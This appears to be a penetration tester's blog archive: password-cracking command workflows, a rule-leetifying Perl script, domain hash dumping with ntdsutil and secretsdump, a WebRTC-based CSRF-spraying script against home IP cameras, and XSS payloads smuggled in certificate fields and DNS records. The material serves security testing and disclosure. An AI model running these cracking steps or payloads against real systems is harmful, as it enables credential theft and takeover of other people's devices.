Saturday, September 15, 2018

More on password cracking

Some more ideas for password cracking when you've run dict+rules.

lastN or lastN-M is a list of common suffixes taken from a breach compilation

l33tXXX.rule are leetified rules - see perl script after the bash script:

#!/bin/bash

# no inc as we've done it already
python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top32Million-probable.txt -r rules/nsav2dive.rule

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top95Thousand-probable.txt -r rules/l33test.rule

# troy hunt and other breaches..
python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/breachcompilation.txt -r rules/nsav2dive.rule

# dumb stuff
# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc --mask maskfiles/default.hcmask

python3 hashcrack.py -i ../32hex.txt -t md5 -d nb --noinc -e /root/dict/last1-4.txt

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/ucth.txt -r rules/nsav2dive.rule

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top2Billion_probable.txt -r rules/l33t64.rule

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/first1-4.txt -e nb

# suffixes...
python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top95Thousand-probable.txt -e /root/dict/last1-4.txt

# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top32Million-probable.txt -e /root/dict/last3.txt

# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top32Million-probable.txt -e /root/dict/last4.txt

# previously found and phrases
python3 hashcrack.py -i ../32hex.txt -t md5 -d nb --noinc -r rules/l33test.rule

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc --mask maskfiles/hashcat.hcmask

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/Top2Billion_probable.txt -r rules/best64.rule  --noinc

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/Top2Billion_probable.txt -r hashcat-4.0.1/rules/InsidePro-PasswordsPro.rule  --noinc

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/crackstation.txt --noinc

python3 hashcrack.py -i ../32hex.txt -t md5 --noinc -d /root/dict/Top258Million-probable.txt -e /root/dict/last3.txt

# PACK - password policy mask
# python3 hashcrack.py -i ../32hex.txt -t md5 --noinc --mask maskfiles/ntlm.hcmask

python3 hashcrack.py -i ../32hex.txt -t md5 -d /root/dict/Top2Billion_probable.txt -r rules/nsav2dive.rule  --noinc

gen-leet.pl, which takes an existing rules file and leetifies it:

#!/bin/perl

# leetifies existing rules

$r="XYZZY\nXYZZYsa\@\nXYZZYse3\nXYZZYsa\@se3\nXYZZYsi1\nXYZZYsa\@si1\nXYZZYse3si1\nXYZZYsl1\nXYZZYsa\@sl1\nXYZZYse3sl1\nXYZZYsi1sl1\nXYZZYso0\nXYZZYsa\@so0\nXYZZYse3so0\nXYZZYsi1so0\nXYZZYsl1so0\nXYZZYss5\nXYZZYsa\@ss5\nXYZZYse3ss5\nXYZZYsi1ss5\nXYZZYsl1ss5\nXYZZYso0ss5\nXYZZYsa\@\nXYZZYse3\nXYZZYsa\@se3\nXYZZYsi1\nXYZZYsa\@si1\nXYZZYse3si1\nXYZZYsl|\nXYZZYsa\@sl|\nXYZZYse3sl|\nXYZZYsi1sl|\nXYZZYso0\nXYZZYsa\@so0\nXYZZYse3so0\nXYZZYsi1so0\nXYZZYsl|so0\nXYZZYss5\nXYZZYsa\@ss5\nXYZZYse3ss5\nXYZZYsi1ss5\nXYZZYsl|ss5\nXYZZYso0ss5\nXYZZYss\$\nXYZZYsa@ss\$\nXYZZYse3ss\$\nXYZZYsi1ss\$\nXYZZYsl|ss\$\nXYZZYso0ss\$\n";

while ($line=<STDIN>) {
    chomp($line);    chomp($line);

    if ($line=~m/\S/ && $line!~m/^#/) { 
        if ($line!~m/s[oOaAeEiIsS]/) {
            
            # don't do repeat substitutions
            
            $a=$r;
            $a=~s/XYZZY/$line/mg;
            
            print $a;
        }
    }
}

#usage - might need to dos2unix the source rules first 

# perl rules/gen-leet.pl < rules/nsav2dive.rule | awk '!x[$0]++' > l33tnsa.rule

# perl rules/gen-leet.pl < d3adhob0.rule.txt | awk '!x[$0]++' > deadleethobo.rule

# perl rules/gen-leet.pl < rules/InsidePro-PasswordsPro.rule | awk '!x[$0]++' > l33tpasspro.rule

# cat rules/nsav2dive.rule d3adhob0.rule.txt |  perl rules/gen-leet.pl | awk '!x[$0]++' > l33test.rule

# perl rules/gen-leet.pl < rules/best64.rule | awk '!x[$0]++' > l33t64.rule


# etc. 

Monday, August 27, 2018

Further password cracking - beyond dict + rules


This works quite well for me when I've exhausted the usual approaches.

Update; the OMEN runs have been finding most passwords - you have the slightly thorny problem of training it on "representative" data, but that is another blog post.

Get PACK: https://thesprawl.org/projects/pack/

You'll need aspell and its dictionaries installed too. (apt install aspell-* on debian)

Get OMEN: https://github.com/RUB-SysSec/OMEN

Get prince: https://github.com/hashcat/princeprocessor

Working out rules and dict from passwords

Here, the existing passwords we've cracked from the dump is /root/n3. Use hashcat --show | cut -f 2 -d':' > /root/n3 to get the raw passwords.

rulegen.py -b n3 /root/n3

[ this generates n3.rule, n3.word ]

PRINCE - combinations of words

princeprocessor-0.22/pp64.exe < n3.word -l 100000 --pw-min=12 | head -100000 > n3.prince

[generates candidate passwords of length >= 12 by combining existing words ]

hashcat64.exe -a0 -m 1000 n1 n3.prince -r n3.rule  --loopback  -O

OMEN - probabilistic generation

OMEN/createNG.exe --iPwdList=n3.word

[train our model on n3.word]

OMEN/enumNG.exe -m 100000 -p > n3.omen

[generate a list of candidate passwords]

hashcat64.exe -a0 -m 1000 n1 n3.omen -r n3.rule  --loopback  -O

Wednesday, July 25, 2018

New Password Cracking Tool 'hashcrack'


Low key launch as I'm not sure I have squashed all the bugs at this point - I imagine other people will have different use cases than me, and some other ones will come to light.

Link: https://github.com/nccgroup/hashcrack

This will download 30Gb of dictionaries btw; if you don't want to do this, configure your own in the hashcrack.cfg file and remove the step from setup.py

git clone https://github.com/nccgroup/hashcrack.git
cd hashcrack
python3 setup.py
python3 hashcrack -i targethashes.txt

The hashcrack program tries to pick some sensible defaults for you and runs hashcat against your wordlist, but if it's not getting anything for you, try the following:

Try phrases, dictionary words and previously found words. The latter will get them fromm your pot file - useful for trying found passwords against different hash types:

$ python3 hashcrack.py -i sha512hashes.txt --phrases --words --found

Try existing dictionaries with common suffixes:

$ python3 hashcrack.py -i sha512hashes.txt -d dict\Top95Thousand-probable.txt -e dict\last3.txt
$ python3 hashcrack.py -i sha512hashes.txt -d dict\Top95Thousand-probable.txt -e dict\last4.txt

If you spot patterns, try and use them, e.g. digits followed by something more complex:

$ python3 hashcrack.py -i sha512hashes.txt -d dict\last3.txt --lmask ?d?d?d?d?d?d

or something complex followed by digits:

$ python3 hashcrack.py -i sha512hashes.txt -d dict\Top95Thousand-probable.txt --rmask ?d?d?d?d?d?d


or use a crib file of found passwords or guesses - keep it short though. This will generate variants of crib in one pass (leet2 rules) and then use the resulting file to attack using more rules.

$ cat crib.txt
foobar
baz
quux

$ python3 hashcrack.py -i sha512hashes.txt --crib dict/crib.txt

PRINCE preprocessor

If you're still not getting anything sensible, try hashcat's PRINCE preprocessor. This does some statistical magic with generating new combinations of words from a given wordlist, and maybe worth a go:

Get it here: https://github.com/hashcat/princeprocessor/releases

$ ./princeprocessor/pp64.bin /root/dict/Top95Thousand-probable.txt --pw-min=9 --case-permute -l 1000000000 > /root/dict/prince.txt

$ python3 hashcrack.py -i ../128hex -d /root/dict/prince.txt

Sunday, June 17, 2018

Salts in Passwords

This one is inspired by a comment I read on twitter; essentially someone said that you should use a salt in your password hashes, which is obviously true. However it could have been fleshed out a little bit more than the 280 character limit allows.

Let's take a look at what a salt is:

$ openssl passwd -1 password
$1$d.fYbI78$nraz4DC.hrje.tyC9V5fC.

I've bolded the salt here - using md5crypt because the actual hash doesn't matter too much and this at least fits on one screen. These days, sha512crypt, bcrypt or something even better is to be preferred.

Above we have hash type, salt and the actual hash, separated by "$" characters. So, why do we have the salt? 

Essentially, if I can get hold of your password hashes and there's no salt, I can try every single password guess against the whole list of users at once - it's just as fast to crack 1,000 passwords as one password.  It also makes it computationally infeasible to build a mapping from password to hash, as we can make the size of the map completely silly.

So - your salt should be cryptographically random and long enough (8 base64 chars here I think, so 48 bits worth).  This means when I'm cracking, I have to perform a computation per individual hash, and not one for the whole lot like I can with plain SHA1 or NTLM. 




Monday, May 28, 2018

Cracking domain password hashes

I don't do a lot of red-teaming, but when I do, I try to tread lightly. This is for two reasons; I'm lazy, I don't like getting phoned up by irate admins if a DC goes down.

I tend to use ntdsutil to dump hashes as soon as I get domain admin, as described here: https://www.vmadmin.co.uk/microsoft/43-winserver2008/171-svr08adddsifm 

This is a Microsoft tool and I've never had it break a DC, where as I have seen some of the other methods take down a domain controller.

At this point, you have a zip file and exfiltrate the data to your laptop.

Using impacket's secretsdump tool, you can then extract the users:


python impacket/examples/secretsdump.py -system Temp\SYSTEM  -ntds Temp\ntds.dit LOCAL -outputfile ifm.ntds


Use -user-status if you want to only show active accounts, and then grep for these.

Grab the allcase.rule file from here: http://www.blacktraffic.co.uk/pw-dict-public/allcase.rule

You may be lucky and find that some of the LM hashes are present, which makes your job that much easier.

Crack the LM hashes first with the following - to try all 7 letter combinations.

hashcat64.exe -m 3000 ifm.ntds -a3 ?a?a?a?a?a?a?a

Then take the output you've got from this and feed it into your NTLM crack as a crib, because we know the NTLM password will be the same but with different case.

hashcat64.exe -m 1000 -a0 ifm.ntds lmoutput.txt -r allcase.rule

Now, you can go ahead and do the normal cracking - grab dictionaries here if you want:

Dicts: http://www.blacktraffic.co.uk/pw-dict-public/dict/
Rules: https://raw.githubusercontent.com/NSAKEY/nsa-rules/master/_NSAKEY.v2.dive.rule 

hashcat64.exe -m 1000 -a0 ifm.ntds Top258Million.txt -r nsav2dive.rule

Of course, you might want to tweak this depending on the password policy.

Wednesday, May 16, 2018

On the beauty of CSRF and XSS combinations, and Same Origin Policy

One of the primary security mechanisms that web browsers use is Same Origin Policy, which means basically that site A is not allowed to mess about with site B and vice versa.

In some cases, the site owner may allow such interaction with HTML5 Cross Origin headers, but in general site A can't read data from site B. It may be able to POST data via CSRF, but you're essentially doing this blind.

If you can get XSS and CSRF on a device, that means you can run JavaScript within the context of site B and therefore do basically anything you want with it.

On the BT Wi-Fi extenders I used this to drop an XSS string via CSRF, trigger a page load and read the PSK out of the web page. (This was fixed long ago - but upgrade your firmware if you haven't touched it in a while.)

So the conjunction of the two issues can be used fairly effectively to own a remote device. You could even push new firmware using this method on most of the devices I looked at which were vulnerable.



CSRF Spraying - Attacking Home IP Cameras

If you want to CSRF a home router, you know it's probably going to be at 192.168.1.1, or router.asus.com for example. However, if you want to hit an IP cam or something similar at home you can just spray your CSRF across the entire /24.

I think my ropey (and stolen) code for getting the internal IP doesn't work any more - this one does appear to: http://net.ipcalf.com/ 

In essence, the script spins up an IFRAME or several for each IP address and uses these to send the CSRF to different targets. The referenced HTML files are just taken from Burp's CSRF PoC generator and slightly tweaked. It's wasteful of resources, but hey, they're someone else's resources.

If you've got a vulnerable device, you may want to admin it using a browser you don't generally use for the web, and not store the credentials.

This approach also worked well for the BT Wi-Fi extenders, now also fixed.  This was for a D-link 5020 webcam, which is hopefully fixed as I reported the issue at least a year ago.

Vendors: please use a proper login mechanism and ensure your kit is not vulnerable to CSRF.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
             "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
    <title>Dlink CSRF</title>
</head>
    <body>

<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
    <script>

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};

    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var useWebKit = !!window.webkitRTCPeerConnection;

    //bypass naive webrtc blocking using an iframe
    if(!RTCPeerConnection){

        var win = iframe.contentWindow;
        RTCPeerConnection = win.RTCPeerConnection
            || win.mozRTCPeerConnection
            || win.webkitRTCPeerConnection;
        useWebKit = !!win.webkitRTCPeerConnection;
    }

    //minimal requirements for data connection
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };

    var servers = {iceServers: [{urls: "stun:stun.l.google.com:19302"}]};

    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);

    function handleCandidate(candidate){
        //match just the IP address
        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
        var ip_addr = ip_regex.exec(candidate)[1];

        //remove duplicates
        if(ip_dups[ip_addr] === undefined)
            callback(ip_addr);

        ip_dups[ip_addr] = true;
    }

    //listen for candidate events
    pc.onicecandidate = function(ice){

        //skip non-candidate events
        if(ice.candidate)
            handleCandidate(ice.candidate.candidate);
    };

    //create a bogus data channel
    var a = pc.createDataChannel("asdas");

    //create an offer sdp
    pc.createOffer(function(result){

        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});

    }, function(){});

    //wait for a while to let everything done
    setTimeout(function(){
        //read candidate info from local description
        var lines = pc.localDescription.sdp.split('\n');

        lines.forEach(function(line){
            if(line.indexOf('a=candidate:') === 0)
                handleCandidate(line);
        });
    }, 1000);
}

function hackit(ip) {

    octets=ip.split(".");

    network=octets[0]+"."+octets[1]+"."+octets[2];

    var i;

    // we're looking for home networks, so we only search 192.168.0/24 thru 192.168.9/24
    if ( octets[0].match(/192/) && octets[1].match(/168/) ) {

        // for time reasons we only search a subset of targets
        for (i=50; i < 120 ; i++) {

                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink5020l.html?network="+network+"&octet="+i.toString());
                      ifrm.id = "iframe"+i.toString() ;
                      ifrm.style.width = 64+"px";
                      ifrm.style.height = 48+"px";
                      document.body.appendChild(ifrm);


                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink-spin2.html?network="+network+"&octet="+i.toString());
                      ifrm.id = "iframe"+i.toString() ;
                      ifrm.style.width = 64+"px";
                      ifrm.style.height = 48+"px";
                      document.body.appendChild(ifrm);


                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink-spin3.html?network="+network+"&octet="+i.toString());
                      ifrm.id = "iframe"+i.toString() ;
                      ifrm.style.width = 64+"px";
                      ifrm.style.height = 48+"px";
                      document.body.appendChild(ifrm);

                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink2.html?network="+network+"&octet="+i.toString());
                      ifrm.id = "iframe"+i.toString() ;
                      ifrm.style.width = 64+"px";
                      ifrm.style.height = 48+"px";
                      document.body.appendChild(ifrm);

        }

    }

};

XSS Smuggling - via X509 Fields and DNS records

Around Christmas time I noticed that a few of the websites that offer to check your SSL config for you don't do wonderful validation of what they find. The ones I was able to contact have all fixed this now.

You can test this out by creating a certificate with <script> tags in the various fields, loading it onto Apache and pointing a domain name at it.

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
Generating a 4096 bit RSA private key
...............................................................++
............................................................................................................................................................................................................................................................................++
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:GB
State or Province Name (full name) [Some-State]:<script>alert(1)</script>
Locality Name (eg, city) []:<script>alert(2)</script>
Organization Name (eg, company) [Internet Widgits Pty Ltd]:<img src=i onerror=alert(3)>
Organizational Unit Name (eg, section) []:<script>alert(4)</script>
Common Name (e.g. server FQDN or YOUR name) []:<script>alert(5)</script>
Email Address []:

This also affects sites which look at your DNS TXT records, such as DMARC, (_dmarc), MX, SPF and so on. dnsmasq will let you set a silly MX record like <script>alert(1)</script> where as BIND will (sensibly) not accept it. 

$TTL    1
; $TTL used for all RRs without explicit TTL value
$ORIGIN xjs.io.
@  1D  IN  SOA ns1.xjs.io. hostmaster.xjs.io. (
                 2018043001 ; serial
                 3H ; refresh
                 15 ; retry
                 1w ; expire
                 1h ; nxdomain ttl
                   )

@       IN  TXT    "v=spf1 a <script>alert(1)</script> ~all"
_dmarc  IN  TXT    "v=DMARC1;<script>alert(1)</script>sp=quarantine;rua=mailto:rua@xjs.io;ruf=ruf@xjs.io"

So if you're pentesting a site which consumes x509 certs or DNS records, or even ESMTP banners it is worth checking this vector. I didn't find anything more interesting like RCE but I would bet a few set ups do handle the output in shell script and therefore might be vulnerable. 

Saturday, May 12, 2018

Kicking off (PGP key)

For starters:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2

mQENBFr3GXMBCADg/dsCp+TK/X6lXaY57VE1VqjDqwbgFxcahhE4LFmsofoPSQQw
FonaPnOCmyJrLr4oa3++dgf54lbu10sdnB0SHAElYteRUAay1LPd5AvbESwAjfeB
SsX3z/OAn2EUcZGRn1EqONCKf4aHqteSh+Pd9KvneV3P5R56Z5mymI9IXhMsJNg3
0bD8OKT0f9NGAWN+yUXO+ez47AwMubzieDKP7QG5l+rkv+PqwbXPKEjSaSivF1hc
v5/jm3XB2HhDjHUIJ8UiEPNrci4MKhv3FcIJYBGKlNYg7XAEuxAeyRgC8+0BMrsG
hdiVNTYtzqnv1er8aUcv5N2JCAEBDKtUE0cHABEBAAG0JkphbWllIFJpZGVuIDxq
YW1pZUBibGFja3RyYWZmaWMuY28udWs+iQE5BBMBCAAjBQJa9xlzAhsDBwsJCAcD
AgEGFQgCCQoLBBYCAwECHgECF4AACgkQGlbd8WgF44FYEwf/ROC9duK9Me2qZMec
ss0kEnfUyXCNZwKreHDS1MqQn5Zi3lpdo1hWWz0oeWmjKIOzJKJPwa5WrWWnZgGB
98pG+BfZLk6av7MtEOTIdhQC1ILhgPOyqQEqSqrkHUuanPhdU4kMrJ0wV73xmEhm
s7zYFKv7KU4PXhWJAVjZMEB63ynXBpZNMOYG2fKru593/1io1XXIIWGXPcZGZTji
FyWDx5KD0EIQfOlfml2Nyh1VNTeIIxS0D45ICk5UXVLyh1UqwhmlcKRUpPnO+dg1
/qZs0jsjX+ncO98ybxad7qR3IbFbISFI3mDKTYwisZNfL849eKflpH7g3wUbBDxM
Nx0luLkBDQRa9xlzAQgAvJ4KUJjwiP+vwX6TKHUOU/7imW7vi8//NbESokXnhgP4
ruSAqZE13YHWVcZY/xxCjxNda+dc/+HyRrbn6ytPubZMIYeRYURdZrtbAHV4KrnM
/pJyVmFnirVMpS2iw2hu7RzzMNEy6832WG28+AgeJdFkhqLSF20Itq1EyBSHsOrN
rpswdDuLHk0j989ZVu5ns2vSXGw0RI14tAP3QQkjk2ftXCIP2MXLpQMup6V81vhR
XMAAqm6EVCQIYC+NBMSNMslDX4dM9n25JjmH59fsO1mzInLG3/spskUciGrmvGjV
vpFJUKK7vI+XSo+dDFqhSR+teF2KXTrAr6dATRNg+QARAQABiQEfBBgBCAAJBQJa
9xlzAhsMAAoJEBpW3fFoBeOBt94H/1oVdcr387ok0xTR0e1kh+Qd3muEw82lt/gK
8r3hWxDGH1oWEszrOAIlCtQvhGdCgF0qo8PERJGvmZ1Ft1zW3QLy300vI8odTq+p
ruCzCFLOm83yy5qlm0uj4IGMd30YjXMaqs8QTMkX4B71YVr7Ex/8AxJJpQSSl/SL
ovvSijohVfvOlMHuHo2XvaBI1s7J6hkLE5C+tVVUN9w6nS8GcmJzl99hZYsOQoHl
/5Iu7HdxLAKY+SsOBDP49UlHS0v9tSJWUCTqfn5I9OdxTSBr8E0A0jjNU4oBtKCq
E2qYAT72kFPjOKl7NuGtpLestR5BaLFyucslbzWkbcQNbC3Bl1I=
=w0Jz
-----END PGP PUBLIC KEY BLOCK-----